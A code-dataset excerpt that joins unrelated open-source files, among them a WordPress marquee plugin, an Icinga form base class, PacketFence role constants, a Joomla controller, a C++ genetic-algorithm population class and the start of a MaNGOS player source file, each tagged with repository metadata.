echo '<p>'.__('Post orderbys :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $g4 . '" name="vmpt_orderbys4" id="vmpt_orderbys4" /> '.__('(Any 1 from below list)', 'vertical-marquee-post-title').' <br> ID / author / title / rand / date / category / modified</p>';
echo '<p>'.__('Post order :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $h4 . '" name="vmpt_order4" id="vmpt_order4" /> ASC/DESC </p>';
?>
</td>
</tr>
</table>
<br />
<input name="vmpt_submit" id="vmpt_submit" lang="publish" class="button-primary" value="<?php _e('Update all 4 settings', 'vertical-marquee-post-title'); ?>" type="Submit" />
<?php wp_nonce_field('vmpt_form_setting'); ?>
</form>
<h3><?php _e('Plugin configuration option', 'vertical-marquee-post-title'); ?></h3>
<ol>
<li><?php _e('Drag and drop the widget.', 'vertical-marquee-post-title'); ?></li>
<li><?php _e('Add the plugin in the posts or pages using short code.', 'vertical-marquee-post-title'); ?></li>
<li><?php _e('Add directly in to the theme using PHP code.', 'vertical-marquee-post-title'); ?></li>
</ol>
<p class="description"><?php _e('Check official website for more information ', 'vertical-marquee-post-title'); ?>
<a href="http://www.gopiplus.com/work/2012/09/02/vertical-marquee-post-title-wordpress-plugin/" target="_blank"><?php _e('Click here', 'vertical-marquee-post-title'); ?></a></p>
</div>
</div>
<?php
}
function vmpt_add_to_menu()
{
add_options_page( __('Vertical marquee post title', 'vertical-marquee-post-title'),
__('Vertical marquee post title', 'vertical-marquee-post-title'), 'manage_options', __FILE__, 'vmpt_option' );
}
if (is_admin())
{
add_action('admin_menu', 'vmpt_add_to_menu');
}
class vmpt_widget_register extends WP_Widget
{
function __construct()
{
$widget_ops = array('classname' => 'widget_text newsticker-widget', 'description' => __('Vertical marquee post title', 'vertical-marquee-post-title'), 'vertical-marquee-post-title');
parent::__construct('vertical-marquee-post-title', __('Vertical marquee post title', 'vertical-marquee-post-title'), $widget_ops);
}
function widget( $args, $instance )
{
extract( $args, EXTR_SKIP );
$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );
$vmpt_setting = $instance['vmpt_setting'];
echo $args['before_widget'];
if ( ! empty( $title ) )
{
echo $args['before_title'] . $title . $args['after_title'];
}
// Call widget method
$arr = array();
$arr["setting"] = $vmpt_setting;
echo vmpt_shortcode($arr);
// Call widget method
echo $args['after_widget'];
}
function update( $new_instance, $old_instance )
{
$instance = $old_instance;
$instance['title'] = ( ! empty( $new_instance['title'] ) ) ? strip_tags( $new_instance['title'] ) : '';
$instance['vmpt_setting'] = ( ! empty( $new_instance['vmpt_setting'] ) ) ? strip_tags( $new_instance['vmpt_setting'] ) : '';
return $instance;
}
function form( $instance )
{
$defaults = array(
'title' => '',
'vmpt_setting' => ''
);
$instance = wp_parse_args( (array) $instance, $defaults);
$title = $instance['title'];
$vmpt_setting = $instance['vmpt_setting'];
?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Widget title', 'vertical-marquee-post-title'); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('vmpt_setting'); ?>"><?php _e('Setting', 'vertical-marquee-post-title'); ?></label>
<select class="widefat" id="<?php echo $this->get_field_id('vmpt_setting'); ?>" name="<?php echo $this->get_field_name('vmpt_setting'); ?>">
<option value="1" <?php $this->vmpt_render_selected($vmpt_setting=='1'); ?>>Setting 1</option>
<option value="2" <?php $this->vmpt_render_selected($vmpt_setting=='2'); ?>>Setting 2</option>
<option value="3" <?php $this->vmpt_render_selected($vmpt_setting=='3'); ?>>Setting 3</option>
<option value="4" <?php $this->vmpt_render_selected($vmpt_setting=='4'); ?>>Setting 4</option>
</select>
</p>
<p>
<?php _e('Check official website for more information', 'vertical-marquee-post-title'); ?>
<a target="_blank" href="http://www.gopiplus.com/work/2012/09/02/vertical-marquee-post-title-wordpress-plugin/"><?php _e('click here', 'vertical-marquee-post-title'); ?></a>
</p>
<?php
}
function vmpt_render_selected($var)
{
if ($var==1 || $var==true)
{
echo 'selected="selected"';
}
}
}
function vmpt_widget_loading()
{
register_widget( 'vmpt_widget_register' );
}
function vmpt_textdomain()
{
load_plugin_textdomain( 'vertical-marquee-post-title', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
}
add_action('plugins_loaded', 'vmpt_textdomain');
register_activation_hook(__FILE__, 'vmpt_install');
register_deactivation_hook(__FILE__, 'vmpt_deactivation');
add_action( 'widgets_init', 'vmpt_widget_loading');
add_shortcode( 'vmpt', 'vmpt_shortcode' );
?> | SK8-PTY-LTD/PinkRose | wp-content/plugins/vertical-marquee-post-title/vertical-marquee-post-title.php | PHP | gpl-2.0 | 19,986 |
<?php
namespace Icinga\Module\Businessprocess\Web\Form;
use Icinga\Application\Icinga;
use Icinga\Exception\ProgrammingError;
use Icinga\Web\Notification;
use Icinga\Web\Request;
use Icinga\Web\Response;
use Icinga\Web\Url;
use Exception;
/**
* QuickForm wants to be a base class for simple forms
*/
abstract class QuickForm extends QuickBaseForm
{
const ID = '__FORM_NAME';
const CSRF = '__FORM_CSRF';
/**
* The name of this form
*/
protected $formName;
/**
* Whether the form has been sent
*/
protected $hasBeenSent;
/**
* Whether the form has been sent
*/
protected $hasBeenSubmitted;
/**
* The submit caption, element - still tbd
*/
// protected $submit;
/**
* Our request
*/
protected $request;
/**
* @var Url
*/
protected $successUrl;
protected $successMessage;
protected $submitLabel;
protected $submitButtonName;
protected $deleteButtonName;
protected $fakeSubmitButtonName;
/**
* Whether form elements have already been created
*/
protected $didSetup = false;
protected $isApiRequest = false;
public function __construct($options = null)
{
parent::__construct($options);
$this->setMethod('post');
$this->getActionFromRequest()
->createIdElement()
->regenerateCsrfToken()
->setPreferredDecorators();
}
protected function getActionFromRequest()
{
$this->setAction(Url::fromRequest());
return $this;
}
protected function setPreferredDecorators()
{
$this->setAttrib('class', 'autofocus icinga-controls');
$this->setDecorators(
array(
'Description',
array('FormErrors', array('onlyCustomFormErrors' => true)),
'FormElements',
'Form'
)
);
return $this;
}
protected function addSubmitButtonIfSet()
{
if (false === ($label = $this->getSubmitLabel())) {
return;
}
if ($this->submitButtonName && $el = $this->getElement($this->submitButtonName)) {
return;
}
$el = $this->createElement('submit', $label)
->setLabel($label)
->setDecorators(array('ViewHelper'));
$this->submitButtonName = $el->getName();
$this->addElement($el);
$fakeEl = $this->createElement('submit', '_FAKE_SUBMIT')
->setLabel($label)
->setDecorators(array('ViewHelper'));
$this->fakeSubmitButtonName = $fakeEl->getName();
$this->addElement($fakeEl);
$this->addDisplayGroup(
array($this->fakeSubmitButtonName),
'fake_button',
array(
'decorators' => array('FormElements'),
'order' => 1,
)
);
$grp = array(
$this->submitButtonName,
$this->deleteButtonName
);
$this->addDisplayGroup($grp, 'buttons', array(
'decorators' => array(
'FormElements',
array('HtmlTag', array('tag' => 'dl')),
'DtDdWrapper',
),
'order' => 1000,
));
}
protected function addSimpleDisplayGroup($elements, $name, $options)
{
if (! array_key_exists('decorators', $options)) {
$options['decorators'] = array(
'FormElements',
array('HtmlTag', array('tag' => 'dl')),
'Fieldset',
);
}
return $this->addDisplayGroup($elements, $name, $options);
}
protected function createIdElement()
{
$this->detectName();
$this->addHidden(self::ID, $this->getName());
$this->getElement(self::ID)->setIgnore(true);
return $this;
}
public function getSentValue($name, $default = null)
{
$request = $this->getRequest();
if ($request->isPost() && $this->hasBeenSent()) {
return $request->getPost($name);
} else {
return $default;
}
}
public function getSubmitLabel()
{
if ($this->submitLabel === null) {
return $this->translate('Submit');
}
return $this->submitLabel;
}
public function setSubmitLabel($label)
{
$this->submitLabel = $label;
return $this;
}
public function setApiRequest($isApiRequest = true)
{
$this->isApiRequest = $isApiRequest;
return $this;
}
public function isApiRequest()
{
return $this->isApiRequest;
}
public function regenerateCsrfToken()
{
if (! $element = $this->getElement(self::CSRF)) {
$this->addHidden(self::CSRF, CsrfToken::generate());
$element = $this->getElement(self::CSRF);
}
$element->setIgnore(true);
return $this;
}
public function removeCsrfToken()
{
$this->removeElement(self::CSRF);
return $this;
}
public function setSuccessUrl($url, $params = null)
{
if (! $url instanceof Url) {
$url = Url::fromPath($url);
}
if ($params !== null) {
$url->setParams($params);
}
$this->successUrl = $url;
return $this;
}
public function getSuccessUrl()
{
$url = $this->successUrl ?: $this->getAction();
if (! $url instanceof Url) {
$url = Url::fromPath($url);
}
return $url;
}
protected function beforeSetup()
{
}
public function setup()
{
}
protected function onSetup()
{
}
public function setAction($action)
{
if ($action instanceof Url) {
$action = $action->getAbsoluteUrl('&');
}
return parent::setAction($action);
}
public function hasBeenSubmitted()
{
if ($this->hasBeenSubmitted === null) {
$req = $this->getRequest();
if ($req->isPost()) {
if (! $this->hasSubmitButton()) {
return $this->hasBeenSubmitted = $this->hasBeenSent();
}
$this->hasBeenSubmitted = $this->pressedButton(
$this->fakeSubmitButtonName,
$this->getSubmitLabel()
) || $this->pressedButton(
$this->submitButtonName,
$this->getSubmitLabel()
);
} else {
$this->hasBeenSubmitted = false;
}
}
return $this->hasBeenSubmitted;
}
protected function hasSubmitButton()
{
return $this->submitButtonName !== null;
}
protected function pressedButton($name, $label)
{
$req = $this->getRequest();
if (! $req->isPost()) {
return false;
}
$req = $this->getRequest();
$post = $req->getPost();
return array_key_exists($name, $post)
&& $post[$name] === $label;
}
protected function beforeValidation($data = array())
{
}
public function prepareElements()
{
if (! $this->didSetup) {
$this->beforeSetup();
$this->setup();
$this->addSubmitButtonIfSet();
$this->onSetup();
$this->didSetup = true;
}
return $this;
}
public function handleRequest(Request $request = null)
{
if ($request === null) {
$request = $this->getRequest();
} else {
$this->setRequest($request);
}
$this->prepareElements();
if ($this->hasBeenSent()) {
$post = $request->getPost();
if ($this->hasBeenSubmitted()) {
$this->beforeValidation($post);
if ($this->isValid($post)) {
try {
$this->onSuccess();
} catch (Exception $e) {
$this->addException($e);
$this->onFailure();
}
} else {
$this->onFailure();
}
} else {
$this->setDefaults($post);
}
} else {
// Well...
}
return $this;
}
public function addException(Exception $e, $elementName = null)
{
$file = preg_split('/[\/\\\]/', $e->getFile(), -1, PREG_SPLIT_NO_EMPTY);
$file = array_pop($file);
$msg = sprintf(
'%s (%s:%d)',
$e->getMessage(),
$file,
$e->getLine()
);
if ($el = $this->getElement($elementName)) {
$el->addError($msg);
} else {
$this->addError($msg);
}
}
public function onSuccess()
{
$this->redirectOnSuccess();
}
public function setSuccessMessage($message)
{
$this->successMessage = $message;
return $this;
}
public function getSuccessMessage($message = null)
{
if ($message !== null) {
return $message;
}
if ($this->successMessage === null) {
return t('Form has successfully been sent');
}
return $this->successMessage;
}
public function redirectOnSuccess($message = null)
{
if ($this->isApiRequest()) {
// TODO: Set the status line message?
$this->successMessage = $this->getSuccessMessage($message);
return;
}
$url = $this->getSuccessUrl();
$this->notifySuccess($this->getSuccessMessage($message));
$this->redirectAndExit($url);
}
public function onFailure()
{
}
public function notifySuccess($message = null)
{
if ($message === null) {
$message = t('Form has successfully been sent');
}
Notification::success($message);
return $this;
}
public function notifyError($message)
{
Notification::error($message);
return $this;
}
protected function redirectAndExit($url)
{
/** @var Response $response */
$response = Icinga::app()->getFrontController()->getResponse();
$response->redirectAndExit($url);
}
protected function setHttpResponseCode($code)
{
Icinga::app()->getFrontController()->getResponse()->setHttpResponseCode($code);
return $this;
}
protected function onRequest()
{
}
public function setRequest(Request $request)
{
if ($this->request !== null) {
throw new ProgrammingError('Unable to set request twice');
}
$this->request = $request;
$this->prepareElements();
$this->onRequest();
return $this;
}
/**
* @return Request
*/
public function getRequest()
{
if ($this->request === null) {
/** @var Request $request */
$request = Icinga::app()->getFrontController()->getRequest();
$this->setRequest($request);
}
return $this->request;
}
public function hasBeenSent()
{
if ($this->hasBeenSent === null) {
/** @var Request $req */
if ($this->request === null) {
$req = Icinga::app()->getFrontController()->getRequest();
} else {
$req = $this->request;
}
if ($req->isPost()) {
$post = $req->getPost();
$this->hasBeenSent = array_key_exists(self::ID, $post) &&
$post[self::ID] === $this->getName();
} else {
$this->hasBeenSent = false;
}
}
return $this->hasBeenSent;
}
protected function detectName()
{
if ($this->formName !== null) {
$this->setName($this->formName);
} else {
$this->setName(get_class($this));
}
}
}
| Icinga/icingaweb2-module-businessprocess | library/Businessprocess/Web/Form/QuickForm.php | PHP | gpl-2.0 | 12,131 |
package pf::constants::admin_roles;
=head1 NAME
pf::constants::admin_roles - constants for admin_roles object
=cut
=head1 DESCRIPTION
pf::constants::admin_roles
=cut
use strict;
use warnings;
use base qw(Exporter);
our @EXPORT_OK = qw(@ADMIN_ACTIONS);
our @ADMIN_ACTIONS = qw(
ADMIN_ROLES_CREATE
ADMIN_ROLES_DELETE
ADMIN_ROLES_READ
ADMIN_ROLES_UPDATE
AUDITING_READ
CONFIGURATION_MAIN_READ
CONFIGURATION_MAIN_UPDATE
FINGERBANK_READ
FINGERBANK_CREATE
FINGERBANK_UPDATE
FINGERBANK_DELETE
FIREWALL_SSO_READ
FIREWALL_SSO_CREATE
FIREWALL_SSO_UPDATE
FIREWALL_SSO_DELETE
FLOATING_DEVICES_CREATE
FLOATING_DEVICES_DELETE
FLOATING_DEVICES_READ
FLOATING_DEVICES_UPDATE
INTERFACES_CREATE
INTERFACES_DELETE
INTERFACES_READ
INTERFACES_UPDATE
MAC_READ
MAC_UPDATE
NODES_CREATE
NODES_DELETE
NODES_READ
NODES_UPDATE
MSE_READ
PORTAL_PROFILES_CREATE
PORTAL_PROFILES_DELETE
PORTAL_PROFILES_READ
PORTAL_PROFILES_UPDATE
PROVISIONING_CREATE
PROVISIONING_DELETE
PROVISIONING_READ
PROVISIONING_UPDATE
REPORTS
SERVICES
SOH_CREATE
SOH_DELETE
SOH_READ
SOH_UPDATE
SWITCHES_CREATE
SWITCHES_DELETE
SWITCHES_READ
SWITCHES_UPDATE
USERAGENTS_READ
USERS_READ
USERS_CREATE
USERS_CREATE_MULTIPLE
USERS_UPDATE
USERS_DELETE
USERS_SET_ROLE
USERS_SET_ACCESS_DURATION
USERS_SET_UNREG_DATE
USERS_SET_ACCESS_LEVEL
USERS_MARK_AS_SPONSOR
USERS_ROLES_CREATE
USERS_ROLES_DELETE
USERS_ROLES_READ
USERS_ROLES_UPDATE
USERS_SOURCES_CREATE
USERS_SOURCES_DELETE
USERS_SOURCES_READ
USERS_SOURCES_UPDATE
VIOLATIONS_CREATE
VIOLATIONS_DELETE
VIOLATIONS_READ
VIOLATIONS_UPDATE
USERAGENTS_READ
RADIUS_LOG_READ
REALM_READ
REALM_CREATE
REALM_UPDATE
REALM_DELETE
DOMAIN_READ
DOMAIN_CREATE
DOMAIN_UPDATE
DOMAIN_DELETE
SCAN_READ
SCAN_CREATE
SCAN_UPDATE
SCAN_DELETE
WMI_READ
WMI_CREATE
WMI_UPDATE
WMI_DELETE
WRIX_CREATE
WRIX_DELETE
WRIX_READ
WRIX_UPDATE
PKI_PROVIDER_CREATE
PKI_PROVIDER_DELETE
PKI_PROVIDER_READ
PKI_PROVIDER_UPDATE
PFDETECT_CREATE
PFDETECT_DELETE
PFDETECT_READ
PFDETECT_UPDATE
BILLING_TIER_CREATE
BILLING_TIER_DELETE
BILLING_TIER_READ
BILLING_TIER_UPDATE
SWITCH_LOGIN_READ
SWITCH_LOGIN_WRITE
FILTERS_READ
FILTERS_UPDATE
PORTAL_MODULE_CREATE
PORTAL_MODULE_DELETE
PORTAL_MODULE_READ
PORTAL_MODULE_UPDATE
);
=head1 AUTHOR
Inverse inc. <[email protected]>
=head1 COPYRIGHT
Copyright (C) 2005-2017 Inverse inc.
=head1 LICENSE
This program is free software; you can redistribute it and::or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,
USA.
=cut
1;
| jrouzierinverse/packetfence | lib/pf/constants/admin_roles.pm | Perl | gpl-2.0 | 3,462 |
<?php
/****************************************************************************************\
** @name EXP Autos 2.0 **
** @package Joomla 1.6 **
** @author EXP TEAM::Alexey Kurguz (Grusha) **
** @copyright Copyright (C) 2005 - 2011 EXP TEAM::Alexey Kurguz (Grusha) **
** @link http://www.feellove.eu **
** @license Commercial License **
\****************************************************************************************/
defined('_JEXEC') or die;
jimport('joomla.application.component.controllerform');
class ExpautosproControllerExplist extends JControllerForm
{
public function getModel($name = '', $prefix = '', $config = array('ignore_request' => true))
{
return parent::getModel($name, $prefix, array('ignore_request' => false));
}
public function solid(){
$user = JFactory::getUser();
$userid = (int) $user->id;
$id = (int) JRequest::getInt('id','0');
$value = (int) JRequest::getInt('value','0');
$field = 'solid';
$model = $this->getModel('Explist', 'ExpAutosProModel');
if (!$model->insertdata($id,$field,$value)) {
$errors = $model->getError();
JError::raiseWarning(500, JText::_('COM_EXPAUTOSPRO_CP_PAYMENT_PERMISSION_DENIED_TEXT'));
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&userid='.(int)$userid, false));
return false;
}
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&id='.(int)$id, false));
}
public function expreserved(){
$user = JFactory::getUser();
$userid = (int) $user->id;
$id = (int) JRequest::getInt('id','0');
$value = (int) JRequest::getInt('value','0');
$field = 'expreserved';
$model = $this->getModel('Explist', 'ExpAutosProModel');
if (!$model->insertdata($id,$field,$value)) {
$errors = $model->getError();
JError::raiseWarning(500, JText::_('COM_EXPAUTOSPRO_CP_PAYMENT_PERMISSION_DENIED_TEXT'));
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&userid='.(int)$userid, false));
return false;
}
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&id='.(int)$id, false));
}
public function deletelink(){
$user = JFactory::getUser();
$userid = (int) $user->id;
$id = (int) JRequest::getInt('id','0');
$model = $this->getModel('Explist', 'ExpAutosProModel');
if (!$model->delete_ads($id)) {
$errors = $model->getError();
JError::raiseWarning(500, JText::_('COM_EXPAUTOSPRO_CP_PAYMENT_PERMISSION_DENIED_TEXT'));
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&userid='.(int)$userid, false));
return false;
}
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&userid='.(int)$userid, false));
}
public function extend(){
$user = JFactory::getUser();
$userid = (int) $user->id;
$id = (int) JRequest::getInt('id','0');
$model = $this->getModel('Explist', 'ExpAutosProModel');
if (!$model->extend_ads($id)) {
$errors = $model->getError();
JError::raiseWarning(500, JText::_('COM_EXPAUTOSPRO_CP_PAYMENT_PERMISSION_DENIED_TEXT'));
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&userid='.(int)$userid, false));
return false;
}
$this->setRedirect(JRoute::_('index.php?option=com_expautospro&view=explist&id='.(int)$id, false));
}
} | Chubaskin/buscarautos | components/com_expautospro/controllers/explist.php | PHP | gpl-2.0 | 4,236 |
<?php $captcha_word = 'BKPS'; ?> | CoordCulturaDigital-Minc/culturadigital.br | wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/captcha-temp/WX2pCemM1b2iQHf2.php | PHP | gpl-2.0 | 32 |
#include"population.h"
population::population() {
pop.clear();
}
population::population(Random *r) {
pop.clear();
this->r = r;
}
population::population(int n_individuos, int n_gene, Random *r) {
pop.clear();
for(int i = 0; i < n_individuos; i++) pop.push_back(*(new individuo(n_gene, r)));
this->r = r;
}
population::population(vector<individuo> i, Random *r) {
pop = i;
this->r = r;
}
vector<individuo> population::get_population() {
return pop;
}
void population::set_population(vector<individuo> i) {
pop = i;
}
void population::set_population(population p) {
pop = p.get_population();
}
int population::size() {
return pop.size();
}
void population::print() {
for(int i = 0; i < size(); i++) pop[i].print();
}
population *population::elitismo(double pel) {
int num = (int) (pel * ((double) size()));
return elitismo(num);
}
population *population::elitismo(int num) {
ranking();
vector<individuo> newp;
newp.clear();
for(int i = 0; i < num; i++)
newp.push_back(pop[i]);
return (new population(newp, r));
}
void population::calc_fitness() {
for(int i = 0; i < size(); i++) pop[i].get_objective();
}
void population::ranking() {
calc_fitness();
for(int i = 0; i < size() - 1; i++) {
for(int j = i + 1; j < size(); j++) {
if(pop[i] < pop[j]) {
individuo aux = pop[i];
pop[i] = pop[j];
pop[j] = aux;
}
}
}
int counter = 0;
pop[size() - 1].set_rank(0);
for(int i = size() - 2; i >= 0; i--) {
if(pop[i] > pop[i+1]) counter++;
pop[i].set_rank(counter);
}
}
void population::crowd() {
calc_fitness();
double *crowd = new double[size()];
for(int i = 0; i < size(); i++)
crowd[i] = 0;
for(int i = 0; i < pop[0].get_objective().size(); i++) {
// ordena por objetivo.
for(int j = 0; j < size(); j++) {
for(int k = j + 1; k < size(); k++) {
if(pop[j].get_objective(i) > pop[k].get_objective(i))
swap(pop[j], pop[k]);
}
}
for(int j = 1; j < size() - 1; j++)
crowd[j] += pop[j + 1].get_objective(i) - pop[j - 1].get_objective(i);
crowd[0] = crowd[size() - 1] = 3000; //numeric_limits<double>::infinity();
}
for(int i = 0; i < size(); i++)
pop[i].set_crowd(crowd[i]);
}
void population::sort() {
for(int i = 0; i < size() - 1; i++) {
for(int j = i + 1; j < size(); j++) {
if(pop[i].get_rank() < pop[j].get_rank()) {
swap(pop[i], pop[j]);
} else if(pop[i].get_rank() == pop[j].get_rank() && pop[i].get_crowd() < pop[j].get_crowd()) {
swap(pop[i], pop[j]);
}
}
}
}
population population::operator+(const population &p) {
vector<individuo> n;
n = p.pop;
for(int i = 0; i < pop.size(); i++) n.push_back(pop[i]);
return *(new population(n, r));
}
//population population::operator+=(const population &p) {return *this = *this + p;}
population *population::mutation(int num_ind, int num_gene) {
printf("mut a\n");
population *newp = new population(num_ind, pop[0].get_cromossomo().get_n_gene(), r);
printf("mut b\n");
for(int i = 0; i < num_ind; i++) {
newp->pop[i] = pop[r->nextLongInt(pop.size())].mutation(num_gene);
}
printf("mut c\n");
return newp;
}
population *population::mutation(int num_ind) { return mutation(num_ind, 1);}
population *population::mutation(double pmut, int num_gene) {
int num_ind = (int) (pmut * ((double) pop.size()));
return mutation(num_ind,num_gene);
}
population *population::mutation(double pmut) { return mutation(pmut, 1);}
individuo population::get_individuo(int index){
return pop[index];
}
void population::add_individuo(individuo i){ pop.push_back(i);}
void population::add_individuo(vector<individuo> i){
for (int index = 0; index < i.size(); index ++){
add_individuo(i[index]);
}
}
population *population::crossover( double pcrv){
int ncrv = (int) (pcrv * ((double) size()));
return crossover(ncrv);
}
population *population::crossover( int ncrv){
population *p = new population();
for (int i = 0; i < ncrv; i ++ ) {
p->add_individuo(pop[r->nextLongInt(size())] + pop[r->nextLongInt(size())]);
}
return p;
}
population *population::tournament(int num_ind, int num_group) {
printf("inicio\n");
vector<individuo> group;
if(num_ind < 1) return NULL;
population *newp = new population(r);
for(int i = 0; i < num_ind; i++) {
group.clear();
for(int j = 0; j < num_group; j++)
group.push_back(pop[r->nextLongInt(pop.size())]);
individuo maior = group[0];
for(int j = 1; j < group.size(); j++)
if(group[j] > maior)
maior = group[j];
newp->add_individuo(maior);
}
printf("fim\n");
return newp;
}
population *population::roulette(int num_ind, int param) {
population *newp = new population(r);
double max = 0;
vector<double> roulette;
roulette.clear();
if(param == ROULETTE_RANK || param == ROULETTE_MULTIPOINTER_RANK) {
for(int i = 0; i < pop.size(); i++) {
max += (double) pop[i].get_rank();
roulette.push_back(max);
}
} else {
for(int i = 0; i < pop.size(); i++) {
max += pop[i].get_objective(0);
roulette.push_back(max);
}
}
if(param == ROULETTE_RANK || param == ROULETTE_OBJECTIVE) {
for(int i = 0; i < num_ind; i++) {
double pointer = r->nextDouble(max);
int j;
for(j = 0; roulette[j] < pointer; j++);
newp->add_individuo(pop[j]);
}
}
else {
double pointer;
double delta = max / (double) num_ind;
pointer = r->nextDouble(max / (double) num_ind);
int j = 0;
for(int i = 0; i < num_ind; i++) {
for(j; roulette[j] < pointer; j++);
newp->add_individuo(pop[j]);
pointer += delta;
}
}
return newp;
}
void population::resize(int n ){
if(n < pop.size())
pop.resize(n);
}
| dmelo/uspds | src/genetic_algorithm/population.cc | C++ | gpl-2.0 | 5,814 |
#Date: 2015-10-01 16:06:58 UTC
#Software: Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT
#Fields: datetime priority message
2015-10-01T16:06:58+00:00 INFO |¯¯¯ Starting
2015-10-01T16:06:58+00:00 INFO | ^^ Connecting to ...
2015-10-01T16:06:58+00:00 ERROR | XX Unable to connect to FTP server
2015-10-01T16:06:58+00:00 ERROR |___ :(
2015-10-01T16:06:58+00:00 ERROR
| esorone/efcpw | logs/ecr_log.php | PHP | gpl-2.0 | 389 |
/*
* Copyright (C) 2005-2012 MaNGOS <http://getmangos.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "Player.h"
#include "Language.h"
#include "Database/DatabaseEnv.h"
#include "Log.h"
#include "Opcodes.h"
#include "SpellMgr.h"
#include "World.h"
#include "WorldPacket.h"
#include "WorldSession.h"
#include "UpdateMask.h"
#include "QuestDef.h"
#include "GossipDef.h"
#include "UpdateData.h"
#include "Channel.h"
#include "ChannelMgr.h"
#include "MapManager.h"
#include "MapPersistentStateMgr.h"
#include "InstanceData.h"
#include "GridNotifiers.h"
#include "GridNotifiersImpl.h"
#include "CellImpl.h"
#include "ObjectMgr.h"
#include "ObjectAccessor.h"
#include "CreatureAI.h"
#include "Formulas.h"
#include "Group.h"
#include "Guild.h"
#include "GuildMgr.h"
#include "Pet.h"
#include "Util.h"
#include "Transports.h"
#include "Weather.h"
#include "BattleGround.h"
#include "BattleGroundAV.h"
#include "BattleGroundMgr.h"
#include "WorldPvP/WorldPvP.h"
#include "WorldPvP/WorldPvPMgr.h"
#include "ArenaTeam.h"
#include "Chat.h"
#include "Database/DatabaseImpl.h"
#include "Spell.h"
#include "ScriptMgr.h"
#include "SocialMgr.h"
#include "AchievementMgr.h"
#include "Mail.h"
#include "SpellAuras.h"
#include <cmath>
// Playerbot mod:
#include "playerbot/PlayerbotAI.h"
#include "playerbot/PlayerbotMgr.h"
#include "Config/Config.h"
#define ZONE_UPDATE_INTERVAL (1*IN_MILLISECONDS)
#define PLAYER_SKILL_INDEX(x) (PLAYER_SKILL_INFO_1_1 + ((x)*3))
#define PLAYER_SKILL_VALUE_INDEX(x) (PLAYER_SKILL_INDEX(x)+1)
#define PLAYER_SKILL_BONUS_INDEX(x) (PLAYER_SKILL_INDEX(x)+2)
#define SKILL_VALUE(x) PAIR32_LOPART(x)
#define SKILL_MAX(x) PAIR32_HIPART(x)
#define MAKE_SKILL_VALUE(v, m) MAKE_PAIR32(v,m)
#define SKILL_TEMP_BONUS(x) int16(PAIR32_LOPART(x))
#define SKILL_PERM_BONUS(x) int16(PAIR32_HIPART(x))
#define MAKE_SKILL_BONUS(t, p) MAKE_PAIR32(t,p)
enum CharacterFlags
{
CHARACTER_FLAG_NONE = 0x00000000,
CHARACTER_FLAG_UNK1 = 0x00000001,
CHARACTER_FLAG_UNK2 = 0x00000002,
CHARACTER_LOCKED_FOR_TRANSFER = 0x00000004,
CHARACTER_FLAG_UNK4 = 0x00000008,
CHARACTER_FLAG_UNK5 = 0x00000010,
CHARACTER_FLAG_UNK6 = 0x00000020,
CHARACTER_FLAG_UNK7 = 0x00000040,
CHARACTER_FLAG_UNK8 = 0x00000080,
CHARACTER_FLAG_UNK9 = 0x00000100,
CHARACTER_FLAG_UNK10 = 0x00000200,
CHARACTER_FLAG_HIDE_HELM = 0x00000400,
CHARACTER_FLAG_HIDE_CLOAK = 0x00000800,
CHARACTER_FLAG_UNK13 = 0x00001000,
CHARACTER_FLAG_GHOST = 0x00002000,
CHARACTER_FLAG_RENAME = 0x00004000,
CHARACTER_FLAG_UNK16 = 0x00008000,
CHARACTER_FLAG_UNK17 = 0x00010000,
CHARACTER_FLAG_UNK18 = 0x00020000,
CHARACTER_FLAG_UNK19 = 0x00040000,
CHARACTER_FLAG_UNK20 = 0x00080000,
CHARACTER_FLAG_UNK21 = 0x00100000,
CHARACTER_FLAG_UNK22 = 0x00200000,
CHARACTER_FLAG_UNK23 = 0x00400000,
CHARACTER_FLAG_UNK24 = 0x00800000,
CHARACTER_FLAG_LOCKED_BY_BILLING = 0x01000000,
CHARACTER_FLAG_DECLINED = 0x02000000,
CHARACTER_FLAG_UNK27 = 0x04000000,
CHARACTER_FLAG_UNK28 = 0x08000000,
CHARACTER_FLAG_UNK29 = 0x10000000,
CHARACTER_FLAG_UNK30 = 0x20000000,
CHARACTER_FLAG_UNK31 = 0x40000000,
CHARACTER_FLAG_UNK32 = 0x80000000
};
enum CharacterCustomizeFlags
{
CHAR_CUSTOMIZE_FLAG_NONE = 0x00000000,
CHAR_CUSTOMIZE_FLAG_CUSTOMIZE = 0x00000001, // name, gender, etc...
CHAR_CUSTOMIZE_FLAG_FACTION = 0x00010000, // name, gender, faction, etc...
